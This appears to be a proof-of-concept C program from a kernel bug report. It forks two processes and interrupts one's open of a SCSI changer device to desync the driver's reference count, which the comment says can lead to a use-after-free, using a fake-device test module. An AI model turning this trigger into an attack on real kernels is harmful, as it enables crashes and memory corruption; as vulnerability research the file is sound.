DF-5327 / poc_chopen.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | /* DF-5327 PoC: scsi_ch chopen() hold-interrupt refcount desync. * * chopen() (sys/bus/cam/scsi/scsi_ch.c:415-432): * - sets CH_FLAG_OPEN (or drops its acquire for 2nd+ openers) BEFORE * cam_periph_hold(PCATCH); * - when the hold is signal-interrupted, the error path does * unlock + cam_periph_release() -- dropping the open reference * even though this (failed) open had already set CH_FLAG_OPEN. * * Result: the peripheral refcount undercounts by one. After the * interrupted open#2, the still-running open#1 finishes with * refcount == 0 while /dev/ch0 is open; the following close drives it * to 0xFFFFFFFF (silent: the guard at cam_periph.c:576 is dead code, * DF-5329), and any device removal in between frees the periph and * softc under the open descriptor. * * Rig: evilcd2.ko target 1 = fake changer (/dev/ch0). watch=2 makes * debug.evilcd.refcnt read the ch periph. defer=1 parks open#1's * chgetparams() MODE SENSE so open#2 blocks in cam_periph_hold(PCATCH). */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/sysctl.h> #include <sys/wait.h> #include <sys/chio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <errno.h> static int refcnt(void) { int v = -999; size_t l = sizeof(v); sysctlbyname("debug.evilcd.refcnt", &v, &l, NULL, 0); return (v); } static void sysctl_set(const char *name, int v) { size_t l = sizeof(v); sysctlbyname(name, NULL, NULL, &v, l); } static void sigh(int sig) { (void)sig; } int main(void) { pid_t p1, p2; int st, fd; setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, sigh); siginterrupt(SIGALRM, 1); /* park the first chgetparams MODE SENSE inside the SIM */ sysctl_set("debug.evilcd.defer", 1); /* child 1: open#1 -- parks in chgetparams holding CAM_PERIPH_LOCKED */ p1 = fork(); if (p1 == 0) { fd = open("/dev/ch0", O_RDWR); if (fd < 0) _err(1, "open#1"); printf("[child1] open#1 returned: refcount=%d " "(*** expect 0 -- undercounted with ch0 OPEN ***)\n", refcnt()); sleep(1); /* keep fd open a moment */ close(fd); printf("[child1] after close: refcount=%d " "(*** expect -1: unmatched release ***)\n", refcnt()); _exit(0); } /* let open#1 reach its parked MODE SENSE */ sleep(2); /* child 2: open#2 blocks in cam_periph_hold(PCATCH), self-interrupts */ p2 = fork(); if (p2 == 0) { int f; alarm(1); f = open("/dev/ch0", O_RDWR); printf("[child2] open#2: fd=%d errno=%d(%s) refcount=%d\n", f, errno, strerror(errno), refcnt()); _exit(0); } waitpid(p2, &st, 0); printf("[parent] open#2 reaped (interrupted) -- chopen error path " "ran unlock+cam_periph_release with CH_FLAG_OPEN set\n"); printf("[parent] refcount while open#1 still parked: %d " "(expect 1: acquire+hold of open#1 minus the burned ref)\n", refcnt()); /* release open#1's chgetparams; it completes and unholds */ sysctl_set("debug.evilcd.defer", 0); waitpid(p1, &st, 0); printf("[parent] done\n"); return (0); } |